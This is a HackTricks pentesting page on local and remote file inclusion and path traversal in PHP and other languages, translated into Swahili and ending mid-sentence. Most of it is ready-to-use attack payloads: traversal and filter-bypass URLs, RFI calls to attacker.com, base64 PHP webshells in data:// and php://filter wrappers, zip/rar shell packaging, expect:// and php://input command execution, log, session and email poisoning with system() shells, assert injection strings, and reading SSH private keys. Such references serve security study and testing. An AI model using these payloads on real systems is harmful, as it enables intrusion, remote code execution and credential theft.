38 KiB
File Inclusion/Path traversal
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Jiunge na HackenProof Discord server ili kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
Hacking Insights
Shiriki na maudhui yanayoangazia msisimko na changamoto za hacking
Real-Time Hack News
Baki na habari za hivi punde katika ulimwengu wa hacking kupitia habari na maarifa ya wakati halisi
Latest Announcements
Baki na taarifa kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
Jiunge nasi kwenye Discord na uanze kushirikiana na hackers bora leo!
File Inclusion
Remote File Inclusion (RFI): Faili inachukuliwa kutoka kwa seva ya mbali (Bora: Unaweza kuandika msimbo na seva itatekeleza). Katika php hii ni imezuiliwa kwa default (allow_url_include).
Local File Inclusion (LFI): Seva inachukua faili ya ndani.
Uthibitisho wa udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa namna fulani faili ambayo itachukuliwa na seva.
PHP functions zenye udhaifu: require, require_once, include, include_once
Zana ya kuvutia ya kutumia udhaifu huu: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Kuchanganya orodha kadhaa za *nix LFI na kuongeza njia zaidi nimeunda hii:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Jaribu pia kubadilisha /
kwa \
Jaribu pia kuongeza ../../../../../
Orodha inayotumia mbinu kadhaa kupata faili /etc/password (kuangalia kama udhaifu upo) inaweza kupatikana hapa
Windows
Mchanganyiko wa orodha tofauti:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Jaribu pia kubadilisha /
kwa \
Jaribu pia kuondoa C:/
na kuongeza ../../../../../
Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (kuangalia kama udhaifu upo) inaweza kupatikana hapa
OS X
Angalia orodha ya LFI ya linux.
Msingi wa LFI na njia za kupita
Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
mfuatano wa kupita ulioondolewa bila kurudi nyuma
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Pita zaidi ya kuongeza herufi zaidi mwishoni mwa mfuatano uliopewa (pita ya: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Hii ni imefanywa kuwa na ufumbuzi tangu PHP 5.4
Encoding
Unaweza kutumia uandishi usio wa kawaida kama vile double URL encode (na wengine):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Kutoka kwenye folda iliyopo
Pengine upande wa nyuma unakagua njia ya folda:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Kuchunguza Maktaba za Mfumo wa Faili kwenye Seva
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufanikisha hili:
- Baini Kina cha Maktaba: Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya
/etc/passwd
(inatumika ikiwa seva ni ya Linux). Mfano wa URL unaweza kuundwa kama ifuatavyo, ikionyesha kina cha tatu:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Chunguza kwa Folda: Ongeza jina la folda inayoshukiwa (mfano,
private
) kwenye URL, kisha rudi kwenye/etc/passwd
. Kiwango cha ziada cha saraka kinahitaji kuongeza kina kwa moja:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Tafsiri Matokeo: Jibu la seva linaonyesha kama folda ipo:
- Kosa / Hakuna Matokeo: Folda
private
huenda haipo katika eneo lililotajwa. - Maudhui ya
/etc/passwd
: Uwepo wa foldaprivate
umethibitishwa.
- Uchunguzi wa Kurudi: Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa ajili ya subdirectories au faili kwa kutumia mbinu ile ile au mbinu za jadi za Local File Inclusion (LFI).
Ili kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha payload ipasavyo. Kwa mfano, ili kuangalia kama /var/www/
ina folda private
(ikiwa tunaweza kusema folda ya sasa iko kwenye kina cha 3), tumia:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Tekniki ya Kukata Njia
Kukata njia ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi inatumika kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuzingatiwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, na/etc/passwd/
zote zinachukuliwa kama njia moja.- Wakati wahusika 6 wa mwisho ni
passwd
, kuongeza/
(kuifanya kuwapasswd/
) hakubadilishi faili inayolengwa. - Vivyo hivyo, ikiwa
.php
imeongezwa kwenye njia ya faili (kamashellcode.php
), kuongeza/.
mwishoni hakutabadilisha faili inayofikiwa.
Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kufikia /etc/passwd
, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti za mtumiaji):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kutofautiana kulingana na usanidi wa seva.
- Kutumia Sehemu za Dot na Wahusika Wengine: Mfuatano wa traversal (
../
) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuzunguka mfumo wa faili, kwa ufanisi ukipuuza nyongeza za mfuatano kutoka kwa seva. - Kujua Idadi Inayohitajika ya Traversals: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa
../
inayohitajika kuzunguka hadi kwenye saraka ya mzizi na kisha hadi/etc/passwd
, kuhakikisha kwamba nyongeza zozote (kama.php
) zimeondolewa lakini njia inayotakiwa (/etc/passwd
) inabaki kama ilivyo. - Kuanza na Saraka ya Uongo: Ni kawaida kuanza njia na saraka isiyo na uwepo (kama
a/
). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
Wakati wa kutumia mbinu za kupunguza njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji mbinu tofauti, na majaribio mara nyingi yanahitajika ili kupata njia bora zaidi.
Ukatili huu ulirekebishwa katika PHP 5.3.
Hila za kupita vichungi
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Katika php hii imezimwa kwa default kwa sababu allow_url_include
ni Off. Inapaswa kuwa On ili ifanye kazi, na katika hali hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Ikiwa kwa sababu fulani allow_url_include
iko On, lakini PHP inachuja ufikiaji wa kurasa za wavuti za nje, kulingana na chapisho hili, unaweza kutumia kwa mfano protokali ya data na base64 kufungua msimbo wa b64 PHP na kupata RCE:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
Katika msimbo uliopita, +.txt
ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji mfuatano ulio na mwisho .txt
, hivyo mfuatano unamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na hivyo, kutekelezwa).
{% endhint %}
Mfano mwingine usitumiaji itifaki ya php://
ungekuwa:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
Python Root element
Katika python katika msimbo kama huu:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Ikiwa mtumiaji anatoa njia kamili kwa file_name
, njia ya awali inatolewa tu:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Ni tabia iliyokusudiwa kulingana na nyaraka:
Ikiwa kipengele ni njia kamili, vipengele vyote vya awali vinatupwa mbali na kuunganishwa kunaendelea kutoka kwa kipengele cha njia kamili.
Java Orodha ya Maktaba
Inaonekana kama una Path Traversal katika Java na unapo omba maktaba badala ya faili, orodha ya maktaba inarudishwa. Hii haitatokea katika lugha nyingine (kama ninavyofahamu).
Vigezo 25 vya Juu
Hapa kuna orodha ya vigezo 25 vya juu ambavyo vinaweza kuwa na udhaifu wa kuingiza faili za ndani (LFI) (kutoka kiungo):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI kutumia PHP wrappers & protocols
php://filter
PHP filters huruhusu kufanya operesheni za mabadiliko kwenye data kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya filters:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Ondoa lebo kutoka kwenye data (kila kitu kati ya herufi "<" na ">")- Kumbuka kwamba filter hii imeondoka kwenye toleo za kisasa za PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Hubadilisha kuwa encoding tofauti (convert.iconv.<input_enc>.<output_enc>
). Ili kupata orodha ya encodings zote zinazoungwa mkono, endesha kwenye console:iconv -l
{% hint style="warning" %}
Kukandamiza filter ya mabadiliko convert.iconv.*
unaweza kuunda maandiko yasiyo na mipaka, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia LFI2RCE kupitia php filters.
{% endhint %}
- Compression Filters
zlib.deflate
: Punguza maudhui (yanafaa ikiwa unatoa taarifa nyingi)zlib.inflate
: Rejesha data- Encryption Filters
mcrypt.*
: Imepitwa na wakatimdecrypt.*
: Imepitwa na wakati- Filters Nyingine
- Ukikimbia kwenye php
var_dump(stream_get_filters());
unaweza kupata couple ya filters zisizotarajiwa: consumed
dechunk
: inarudisha encoding ya HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} Sehemu "php://filter" haijali herufi kubwa au ndogo {% endhint %}
Kutumia filters za php kama oracle kusoma faili zisizo za kawaida
Katika chapisho hili inapendekezwa mbinu ya kusoma faili za ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea kuvuja kwa boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili kufanya php itupe makosa.
Katika chapisho la awali unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka:
- Tumia codec
UCS-4LE
kuacha karakteri inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi. - Hii itatumika kuzalisha maandishi makubwa sana wakati herufi ya awali inakisiwa kwa usahihi kwamba php itasababisha kosa
- Filter ya dechunk it ondoa kila kitu ikiwa karakteri ya kwanza si hexadecimal, hivyo tunaweza kujua ikiwa karakteri ya kwanza ni hex.
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe karakteri ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate kosa.
- Codec convert.iconv.UNICODE.CP930 inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni
a
kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena karakteri ya hexadecimal, kwa hivyo dechunk haikuondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali. - Kutumia mabadiliko mengine kama rot13 mwanzoni inawezekana kuvuja herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamasisha herufi nyingine kwenye eneo la hex).
- Wakati karakteri ya awali ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari.
- Problemu ya mwisho ni kuona jinsi ya kuvuja zaidi ya herufi ya awali. Kwa kutumia filters za kumbukumbu za mpangilio kama convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
- Na ili kuwa na uwezo wa kupata data zaidi wazo ni kuunda bytes 2 za data za takataka mwanzoni kwa kutumia convert.iconv.UTF16.UTF16, tumia UCS-4LE ili kufanya iwe pivot na bytes 2 zinazofuata, na ondoa data hadi takataka (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie bit inayotakiwa kuvuja.
Katika chapisho zana ya kufanya hivi kiotomatiki pia ilivuja: php_filters_chain_oracle_exploit.
php://fd
Wrapper hii inaruhusu kufikia vigezo vya faili ambavyo mchakato umefungua. Inaweza kuwa na manufaa kuvuja maudhui ya faili zilizofunguliwa:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1 and 2 respectively (sijui jinsi hii inaweza kuwa na manufaa katika shambulio)
zip:// and rar://
Pakia faili la Zip au Rar lenye PHPShell ndani na ulifike.
Ili uweze kutumia itifaki ya rar inahitaji kuzima maalum.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Kumbuka kwamba protokali hii inakabiliwa na mipangilio ya php allow_url_open
na allow_url_include
expect://
Expect inapaswa kuanzishwa. Unaweza kutekeleza msimbo kwa kutumia hii:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Taja payload yako katika vigezo vya POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Faili la .phar
linaweza kutumika kutekeleza msimbo wa PHP wakati programu ya wavuti inatumia kazi kama include
kwa ajili ya kupakia faili. Kipande cha msimbo wa PHP kilichotolewa hapa chini kinaonyesha jinsi ya kuunda faili la .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Ili kukusanya faili ya .phar
, amri ifuatayo inapaswa kutekelezwa:
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
CVE-2024-2961
Iliwezekana kutumia faili yoyote isiyo ya kawaida inayosomwa kutoka PHP inayounga mkono vichujio vya php kupata RCE. Maelezo ya kina yanaweza kupatikana katika chapisho hili.
Muhtasari wa haraka: overflow ya byte 3 katika heap ya PHP ilitumiwa kubadilisha mnyororo wa vipande vya bure vya ukubwa maalum ili kuweza kuandika chochote katika anwani yoyote, hivyo hook iliongezwa kuita system
.
Iliwezekana kugawa vipande vya ukubwa maalum kwa kutumia vichujio zaidi vya php.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp — Andika katika kumbukumbu au katika faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
- file:// — Kufikia mfumo wa faili wa ndani
- http:// — Kufikia URL za HTTP(s)
- ftp:// — Kufikia URL za FTP(s)
- zlib:// — Mito ya Usawazishaji
- glob:// — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si kweli yenye manufaa hapa)
- ssh2:// — Secure Shell 2
- ogg:// — Mito ya sauti (Siyo yenye manufaa kusoma faili zisizo za kawaida)
LFI via PHP's 'assert'
Hatari za Local File Inclusion (LFI) katika PHP ni za juu sana unaposhughulika na kazi ya 'assert', ambayo inaweza kutekeleza msimbo ndani ya nyuzi. Hii ni tatizo hasa ikiwa ingizo linalojumuisha wahusika wa kupita kwenye saraka kama ".." linakaguliwa lakini halijasafishwa ipasavyo.
Kwa mfano, msimbo wa PHP unaweza kubuniwa kuzuia kupita kwenye saraka kama ifuatavyo:
assert("strpos('$file', '..') === false") or die("");
Wakati hii inakusudia kuzuia traversal, inasababisha bila kukusudia vector ya kuingiza msimbo. Ili kutumia hii kusoma maudhui ya faili, mshambuliaji anaweza kutumia:
' and die(highlight_file('/etc/passwd')) or '
Vivyo hivyo, kwa kutekeleza amri za mfumo zisizo na mpangilio, mtu anaweza kutumia:
' and die(system("id")) or '
Ni muhimu kuandika URL-encode hizi payloads.
Jiunge na HackenProof Discord server ili kuwasiliana na hackers wenye uzoefu na hunters wa bug bounty!
Uelewa wa Hacking
Shiriki na maudhui yanayoangazia msisimko na changamoto za hacking
Habari za Hack kwa Wakati Halisi
Endelea kuwa na habari za kisasa katika ulimwengu wa hacking kupitia habari na uelewa wa wakati halisi
Matangazo ya Karibuni
Baki na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
Jiunge nasi kwenye Discord na uanze kushirikiana na hackers bora leo!
PHP Blind Path Traversal
{% hint style="warning" %}
Teknolojia hii inahusiana katika hali ambapo unadhibiti file path ya PHP function ambayo itafanya access a file lakini huwezi kuona maudhui ya faili (kama wito rahisi kwa file()
) lakini maudhui hayakuonyeshwa.
{% endhint %}
Katika post hii ya ajabu inaelezwa jinsi ya kutumia blind path traversal kupitia PHP filter ili kuondoa maudhui ya faili kupitia oracle ya makosa.
Kwa muhtasari, teknolojia inatumia "UCS-4LE" encoding kufanya maudhui ya faili kuwa makubwa kiasi kwamba PHP function inayofungua faili itasababisha makosa.
Kisha, ili kuvuja herufi ya kwanza, filter dechunk
inatumika pamoja na nyingine kama base64 au rot13 na hatimaye filters convert.iconv.UCS-4.UCS-4LE na convert.iconv.UTF16.UTF-16BE zinatumika ili kweka herufi nyingine mwanzoni na kuvuja hizo.
Functions ambazo zinaweza kuwa na udhaifu: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (tu lengo kusoma tu na hii)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Kwa maelezo ya kiufundi angalia post iliyotajwa!
LFI2RCE
Remote File Inclusion
Imeelezwa hapo awali, fuata kiungo hiki.
Kupitia faili la log la Apache/Nginx
Ikiwa seva ya Apache au Nginx ni dhaifu kwa LFI ndani ya kazi ya kujumuisha unaweza kujaribu kufikia /var/log/apache2/access.log
au /var/log/nginx/access.log
, kuweka ndani ya user agent au ndani ya GET parameter shell ya php kama <?php system($_GET['c']); ?>
na kujumuisha faili hiyo
{% hint style="warning" %} Kumbuka kwamba ikiwa unatumia nukuu mbili kwa shell badala ya nukuu rahisi, nukuu mbili zitaondolewa kwa string "quote;", PHP itatupa makosa hapo na hakuna kingine kitakachotekelezwa.
Pia, hakikisha unandika payload kwa usahihi au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili. {% endhint %}
Hii inaweza pia kufanywa katika log nyingine lakini kuwa makini, msimbo ndani ya log unaweza kuwa URL encoded na hii inaweza kuharibu Shell. Kichwa authorisation "basic" kina "user:password" katika Base64 na kinachambuliwa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.
Njia nyingine zinazowezekana za log:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Kupitia Barua Pepe
Tuma barua pepe kwa akaunti ya ndani (user@localhost) yenye payload yako ya PHP kama <?php echo system($_REQUEST["cmd"]); ?>
na jaribu kuingiza kwenye barua pepe ya mtumiaji kwa njia kama /var/mail/<USERNAME>
au /var/spool/mail/<USERNAME>
Kupitia /proc/*/fd/*
- Pakia shells nyingi (kwa mfano: 100)
- Jumuisha http://example.com/index.php?page=/proc/$PID/fd/$FD, ambapo $PID = PID ya mchakato (inaweza kulazimishwa) na $FD ni file descriptor (inaweza kulazimishwa pia)
Kupitia /proc/self/environ
Kama faili ya kumbukumbu, tuma payload katika User-Agent, itajitokeza ndani ya faili ya /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Ikiwa unaweza kupakia faili, ingiza tu payload ya shell ndani yake (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Ili kuweka faili kuwa na uwezo wa kusomeka ni bora kuingiza kwenye metadata ya picha/doc/pdf
Kupitia upakuaji wa faili la Zip
Pakia faili la ZIP lenye shell ya PHP iliyoshinikizwa na ufikie:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Kupitia vikao vya PHP
Angalia kama tovuti inatumia Kikao cha PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Katika PHP, vikao hivi vinahifadhiwa katika /var/lib/php5/sess\[PHPSESSID]_ faili
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Seti cookie kuwa <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Tumia LFI kujumuisha faili la PHP session
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Ikiwa ssh inafanya kazi angalia ni mtumiaji gani anatumika (/proc/self/status & /etc/passwd) na jaribu kufikia <HOME>/.ssh/id_rsa
Via vsftpd logs
Marekebisho ya seva ya FTP vsftpd yako katika /var/log/vsftpd.log. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unapatikana, hatua zifuatazo zinaweza kuzingatiwa:
- Ingiza payload ya PHP katika uwanja wa jina la mtumiaji wakati wa mchakato wa kuingia.
- Baada ya kuingiza, tumia LFI kupata marekebisho ya seva kutoka /var/log/vsftpd.log.
Via php base64 filter (using base64)
Kama ilivyoonyeshwa katika hii makala, PHP base64 filter inapuuzilia mbali Non-base64. Unaweza kutumia hiyo kupita ukaguzi wa kiendelezi cha faili: ikiwa unatoa base64 inayomalizika na ".php", itapuuzilia mbali "." na kuunganisha "php" kwenye base64. Hapa kuna mfano wa payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Kupitia filters za php (hakuna faili inahitajika)
Hii andika inaeleza kwamba unaweza kutumia filters za php kuunda maudhui yasiyo na mipaka kama matokeo. Ambayo kimsingi inamaanisha kwamba unaweza kuunda msimbo wa php wa kiholela kwa ajili ya kuingiza bila kuhitaji kuandika kwenye faili.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Kupitia segmentation fault
Pakia faili ambayo itahifadhiwa kama ya muda katika /tmp
, kisha katika ombio hiyo hiyo, trigger segmentation fault, na kisha faili ya muda haitafutwa na unaweza kuitafuta.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Kupitia uhifadhi wa faili za muda za Nginx
Ikiwa umepata Local File Inclusion na Nginx inafanya kazi mbele ya PHP unaweza kuwa na uwezo wa kupata RCE kwa mbinu ifuatayo:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Kupitia PHP_SESSION_UPLOAD_PROGRESS
Ikiwa umepata Local File Inclusion hata kama huna kikao na session.auto_start
ni Off
. Ikiwa unatoa PHP_SESSION_UPLOAD_PROGRESS
katika data ya multipart POST, PHP itafanya kikao kwa ajili yako. Unaweza kutumia hii vibaya kupata RCE:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Kupitia upakiaji wa faili za muda katika Windows
Ikiwa umepata Local File Inclusion na server inafanya kazi katika Windows unaweza kupata RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
Kupitia pearcmd.php
+ URL args
Kama ilivyoelezwa katika chapisho hili, script /usr/local/lib/phppearcmd.php
